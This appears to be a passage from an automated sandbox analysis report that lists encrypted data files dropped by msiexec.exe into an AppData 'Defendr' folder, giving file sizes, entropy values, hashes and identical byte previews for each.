Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv22.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100759
Entropy (8bit):	7.998386882859617
Encrypted:	true
SSDEEP:	1536:BW60OQKK6Rq8xEwZUzfHcm2bcKctvSRPCA0a9YdoB01M6mIRY59SkT8WNSQfUmfT:oJ8RqLrOwFdG/aeB01yIRIjoWgkVb
MD5:	A93213451F57225C3051FDC3A9A54D33
SHA1:	26642DDC5DEFDA68EE2E9C9048718FD09300A004
SHA-256:	685DD381523288E76ABE931E340D79A9A79AC66A0CFD1B320AB4273B856401E1
SHA-512:	E44E074ABED6EB5263BFC43A0DF6A9CD1738AB6B1D1A9E47157A32CE951C6BF5153FA3F253C1A7900FECA1F398F4C78A93B3D143E9CA2A243C88B2F0F566F8CD
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv22.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	40041
Entropy (8bit):	7.995642545194862
Encrypted:	true
SSDEEP:	768:BW6NnnkxCV72G3/1QpBiVDe0q6v3NcQd8DHGIL2Zak50f8r7ix:BW6xqa/2B+ev6vS9SbakeL
MD5:	6B13FB595DF0775BD7DAB5C4EF1CF33F
SHA1:	87695667DEBEDEA6F532DE90211A139E43061DBB
SHA-256:	DF4BBEAF14D89508FCBFA0E5CC50513B07230AC9956F9B2EA0B03A815DDA6B3B
SHA-512:	1CF8B936012CE8B810109D0B346574BF7CE2B39554D2961DEB82B7AF0A4BCCACE3E88CFDFFAFFCDD75B2B58524B17CD8A9D865048ADA0A739F57EECDE61978E5
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv23.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	93286
Entropy (8bit):	7.998129703606323
Encrypted:	true
SSDEEP:	1536:BW6Yq0PMa088aar1sa5V7Ps9xFtpPd+FdTHxjEf6xWwOJM11yZlbLAn:orq0PM4ar1saL7sxFtFdUZxQf60wOJMj
MD5:	1102C549BF4ACBE4400788190D6FAFE7
SHA1:	1625A297A43DBAFFB10C3F608D79E964C86039F8
SHA-256:	DAA3E8880F7B5A880F77D81700A439A5A64F59FF3E6B879BAD5CAA497AE3262B
SHA-512:	25537A6AC18D883FDB6A55E8B4BF08EE21C3E31006F618EF1B5FAB3042CF3B5CD234FBFA0D99E20B6713A5A441CD033B4F7C28C874288BD256DE016C6B8335B2
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv23.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32829
Entropy (8bit):	7.994035272067815
Encrypted:	true
SSDEEP:	768:BW6NBXvNQv2HVaVV93algtK1sOFSbFhSTEMKT:BW67VBVaD93algtK1nFXS
MD5:	5A706F42F9089D7AA5E568D189BD1BCF
SHA1:	F03514F3496ADA198C372E2322F832F3FA177473
SHA-256:	DCA0BF36CA8F7107FDB544AB5EC0B0DBE0368EE867AA49C5DA83EFF03A8E1502
SHA-512:	C6B1D36BF229980B605B4253C87A4AC1F36D40F857FF13E08978C764606696D2F05F99B5D5471DA71111B046611E796076C49B4510C4D69D904CB2BC652BB345
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv24.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	63980
Entropy (8bit):	7.997454343210385
Encrypted:	true
SSDEEP:	1536:BW6uQa7kqzEk9NIgRdJQxSdbRiLiW9RoLyCWjkL5YKG:oDQvqzEk9NIuRbRi2a8kGG
MD5:	1CA74733AE8ABBD526A623D582E90A86
SHA1:	260FEF5EF8B976E4F4AFC691A68F234042B4CD9A
SHA-256:	F717F00037738CA385C9AE1B3E037E0625E85FC98C8DE173DBF7AB7022890D2F
SHA-512:	B1AA1F49CD32BE6D3F7BBE786A58B784EC12F04A80723542A9C4BE8E46D7CCE3A71E5D680739B799786B2E29623CD81440697A2DFEBA9E84216B796342EF4AE3
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv24.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	42326
Entropy (8bit):	7.9961938809961035
Encrypted:	true
SSDEEP:	768:BW6NLQQa7c7qzEkQF2N2HxkNfRdcni5QNFVw5yv5aB2YsjpSU2/y5JMTPQokRgmi:BW6uQa7kqzEk9NIgRdJQxwQv5sMjp4yw
MD5:	E9FC5502E223B097FA82863E38696042
SHA1:	E9080049C173BFE988B52BFB2B282FF0ADB31653
SHA-256:	3EFD7525C6E1C07381ADC32A22B66EF88C64FF2E435685017E2496E6DE679537
SHA-512:	E34A02590B00F8E0D0B752C8915AF3EA8C3977CF5D7649B13EB905E17CE1BCA8BC4A0B8BCF0D638C1A87574967CA911FE644321A2A5F930CF320240193EF235A
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv25.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	98017
Entropy (8bit):	7.9982280992744155
Encrypted:	true
SSDEEP:	1536:BW6bKwZty86+ddw8GtnmjXy5UXfrVwuhLnT7vsyH7019PlMmX8N6z0WNumZKnzrN:oivpbGBPCV3jT70yH7019dMK8N6zrug2
MD5:	521EA1C6299FE47C3B8F46983A5F5F98
SHA1:	0CB2134FDFF277C7E673C7AAC0776DF32B81315A
SHA-256:	96DE6B919F013279A734B5227AE3338C63E18EF48C9C5994F9BA4856A53C52EC
SHA-512:	B3247B01D56B42DE678617C6B034FB28D753BD11BE374161ACFC85A8D407C898D57DFE72CAB97CD1E0DFD6728732D71358B8B8E1F7F022F1507F75618EA0C157
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv25.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	37706
Entropy (8bit):	7.995482814550673
Encrypted:	true
SSDEEP:	768:BW6N6Sm2VBZlYuqrq08AqILNc9asm3sAdnRlyPIHH/DMP:BW6Jm8HlYuqm0e2NTsosAdnJr6
MD5:	7BD0788C2A434C64645AB556C23A14BF
SHA1:	457BF437B71E509C067F9CA989F06507B36C7D41
SHA-256:	64074ED1669C55D065ACC85368F2BD1CEE2CC99A0DEF52DED9FEE6AF4B03E9A1
SHA-512:	535CABFB8E76FC86CE01E0C7AF284C49CC906C8C2C20FDCB567C8F198D913B41980C528E8C12B1AE18D76DB65E4353D76FBD7B260544539197D35CE7161631AD
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv26.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	53037
Entropy (8bit):	7.996873678733814
Encrypted:	true
SSDEEP:	768:BW6NA4KWz3oik5y3UcX52+LgquI5dv/Hxg+kzQqkq9qIrk/wXjmvkMcrbDGOh8c:BW6nKaoJy3352+p5dSHpqojmvNwZ8c
MD5:	7DC228BB1FB3CCFC2A310127002336EB
SHA1:	D8B6ECD339DC0286DEC5CD9EF5211849AF3B56AC
SHA-256:	4C3198AB4B08000E629C09B7C8CF396477C67136156FB0335D6BD09749D1AF0C
SHA-512:	711A83B7B03D07131D1500B8941A7DF06695186AA7871D461C01160EC55B7BDD5B9C80A9175B59CB1E89CBD2CDB59CFE8C45B45F1D12F3AA44AF7812F755F154
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv26.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	31189
Entropy (8bit):	7.994281553790379
Encrypted:	true
SSDEEP:	768:BW6N6GF0a5kjHtVUFLBwiFwBsfmV6dV2e29OQoQnx:BW6FF95kj/UpfejQdV2e2YQ1nx
MD5:	45DBEEB0F96E14C59F803893BD7746E7
SHA1:	A02C2C8B1394E30B8D22B1A7941D510EF17CC7D3
SHA-256:	4D8E74DD8F673A15AE145743B068776EA448DB5C5BA3998AA52284EE7CA0E49E
SHA-512:	7D6B2CB69F7B8177410D415DA23F9187DC8BA9E4710847A77799249221A7E61A30F1A07E5971B6D6FE1506DC7CB8A2E46D4FAC338905A3F129A7D2514F9DF67C
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv27.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	98416
Entropy (8bit):	7.99821113686373
Encrypted:	true
SSDEEP:	1536:BW6r3JOrGfAQmGi8dFZNWZhY20Qn88JROOmjjGuiXbRq2+FEHNSijyUi3Jh5dQZj:ok3JpcOWZjHXkuuMRq2+Ojy93sx
MD5:	C0D13EA141E94E3B4C3B46379BC86F2D
SHA1:	D2F48AE05CBB726F2428E4ED7B3524954745932B
SHA-256:	AB6FD893CFA08AD52384D6EE973A065BFEF0A9031B166B776CFEA50E82BEF86E
SHA-512:	DD1F2E8A6277DE2358CAA109504C696576A70E01A04E447D7FD720CD19D83EAF6B39D1DA0F1542697AF7D0AC9046A3D09E1E00BA0A33F4C85F1EFF230421C1CC
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv27.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32641
Entropy (8bit):	7.994716793370817
Encrypted:	true
SSDEEP:	768:BW6NCOggLFFiSgWEJEFkM84MP6zbHqIdrlPtBskaz0Qo8ME:BW6TKAxOGOIhllBsXGk
MD5:	E88B3293685B5BD4921F00B41181F2B0
SHA1:	465E6B6356B6DEBE9AEFD74AF6EF2E482D1A7459
SHA-256:	C215E0660D9D639C4815C9E21033CAE69A2B3640F713FBD131983E049AC12B0D
SHA-512:	F3ACAA0D303CC7F16FF83DA358AC905E6E8545D59097216CB9C9749F4BF6D3C6BD10731EA381CF2EA48A280EA48CB387629E19248C1E4927CAFD33799B5BC1EA
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv28.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	107963
Entropy (8bit):	7.998383266675414
Encrypted:	true
SSDEEP:	3072:orlF3F4IMAjjWsL6V2RpsNDJ33lblD7a+dDZWQVxztybt:glb4IMAfb6V+EDJFbN7jrx2t
MD5:	2C0C638204B7B944014072E9BD661C2E
SHA1:	0DB79474902F51D17F4B759ECC9B8832D010C95E
SHA-256:	152C8CEBCE73C59ADFF0CB6AF008E4FACF0645F48A23BB39284A322789515C4C
SHA-512:	5FED045ACC6798F22303475600F0A8A14232EE1A1B16A6A08A1AE02BCB1B51A1EE98F49563196289C90F6CE08F18453473BA974A7B5E0DB67B676447E4F4706A
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv28.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	40990
Entropy (8bit):	7.995348789067283
Encrypted:	true
SSDEEP:	768:BW6NYJjINNX/HWigAIDxhD18g20LVLDFyvWLeRkJxa7WdqNFnKbYl45ZHQ9:BW6QjIvX/j+DxhDL0vWqR4uWtEl4LHg
MD5:	543591DCBA79B507C11B753FDD53D763
SHA1:	2857BC187AE459798602C1934DD5CB8D0AD1A38C
SHA-256:	836B6F24C024DB7707C7305AA84A15B2225E6ADB4470D26B3112FA8FA87197A0
SHA-512:	45597AD2995C6279145EABC6720AA36ED5288FDA7C09DFAE160EDADDF6EF40A895415E9E9515469A228CEB12DF5E01614C078D57A10D47E62FAA4D8685FCDB19
Malicious:	false
